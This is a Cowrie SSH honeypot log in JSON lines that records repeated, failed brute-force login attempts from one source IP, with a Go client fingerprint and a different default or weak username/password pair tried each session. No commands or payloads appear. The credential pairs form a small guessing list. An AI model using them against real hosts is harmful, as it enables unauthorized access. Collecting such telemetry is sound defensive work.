{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:10.490554Z","src_ip":"193.151.144.93","session":"66a7c16aa5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:12.090668Z","src_ip":"193.151.144.93","session":"66a7c16aa5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34804,"dst_ip":"10.17.0.5","dst_port":22,"session":"bda896bb254a","protocol":"ssh","message":"New connection: 193.151.144.93:34804 (10.17.0.5:22) [session: bda896bb254a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:15.585954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:15.590926Z","src_ip":"193.151.144.93","session":"bda896bb254a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:15.770056Z","src_ip":"193.151.144.93","session":"bda896bb254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:16.295048Z","src_ip":"193.151.144.93","session":"bda896bb254a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:17.531696Z","src_ip":"193.151.144.93","session":"bda896bb254a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.3060564994812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:19.156279Z","src_ip":"50.62.181.92","session":"400f53fa285e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b28db7e01a7","protocol":"ssh","message":"New connection: 193.151.144.93:38860 (10.17.0.5:22) [session: 9b28db7e01a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:21.043533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:21.050017Z","src_ip":"193.151.144.93","session":"9b28db7e01a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:21.214039Z","src_ip":"193.151.144.93","session":"9b28db7e01a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:21.726140Z","src_ip":"193.151.144.93","session":"9b28db7e01a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:22.891675Z","src_ip":"193.151.144.93","session":"9b28db7e01a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":38862,"dst_ip":"10.17.0.5","dst_port":22,"session":"778c8066df15","protocol":"ssh","message":"New connection: 193.151.144.93:38862 (10.17.0.5:22) [session: 778c8066df15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:26.828689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:26.839835Z","src_ip":"193.151.144.93","session":"778c8066df15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:27.010281Z","src_ip":"193.151.144.93","session":"778c8066df15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:27.586694Z","src_ip":"193.151.144.93","session":"778c8066df15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:28.760613Z","src_ip":"193.151.144.93","session":"778c8066df15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34392,"dst_ip":"10.17.0.5","dst_port":22,"session":"591a10873028","protocol":"ssh","message":"New connection: 193.151.144.93:34392 (10.17.0.5:22) [session: 591a10873028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:32.340182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:32.458717Z","src_ip":"193.151.144.93","session":"591a10873028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:32.647095Z","src_ip":"193.151.144.93","session":"591a10873028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:33.195612Z","src_ip":"193.151.144.93","session":"591a10873028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:34.362157Z","src_ip":"193.151.144.93","session":"591a10873028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34404,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a223a455414","protocol":"ssh","message":"New connection: 193.151.144.93:34404 (10.17.0.5:22) [session: 0a223a455414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:38.240451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:38.245064Z","src_ip":"193.151.144.93","session":"0a223a455414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:38.414388Z","src_ip":"193.151.144.93","session":"0a223a455414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:38.928134Z","src_ip":"193.151.144.93","session":"0a223a455414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:40.099745Z","src_ip":"193.151.144.93","session":"0a223a455414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40146,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c903ecd537","protocol":"ssh","message":"New connection: 193.151.144.93:40146 (10.17.0.5:22) [session: 78c903ecd537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:43.914613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:43.920434Z","src_ip":"193.151.144.93","session":"78c903ecd537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:44.086821Z","src_ip":"193.151.144.93","session":"78c903ecd537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:44.584999Z","src_ip":"193.151.144.93","session":"78c903ecd537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:45.753605Z","src_ip":"193.151.144.93","session":"78c903ecd537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40164,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7c396ac97e","protocol":"ssh","message":"New connection: 193.151.144.93:40164 (10.17.0.5:22) [session: 7a7c396ac97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:49.369440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:49.377848Z","src_ip":"193.151.144.93","session":"7a7c396ac97e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:49.555598Z","src_ip":"193.151.144.93","session":"7a7c396ac97e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:50.086382Z","src_ip":"193.151.144.93","session":"7a7c396ac97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:51.717387Z","src_ip":"193.151.144.93","session":"7a7c396ac97e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53928,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e675f6fe69","protocol":"ssh","message":"New connection: 193.151.144.93:53928 (10.17.0.5:22) [session: 13e675f6fe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:54.582147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:54.587411Z","src_ip":"193.151.144.93","session":"13e675f6fe69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:54.757748Z","src_ip":"193.151.144.93","session":"13e675f6fe69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:55.280613Z","src_ip":"193.151.144.93","session":"13e675f6fe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:56.897545Z","src_ip":"193.151.144.93","session":"13e675f6fe69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53942,"dst_ip":"10.17.0.5","dst_port":22,"session":"e93ce8002166","protocol":"ssh","message":"New connection: 193.151.144.93:53942 (10.17.0.5:22) [session: e93ce8002166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:59.875816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:00:59.885893Z","src_ip":"193.151.144.93","session":"e93ce8002166","protocol":"ssh"}
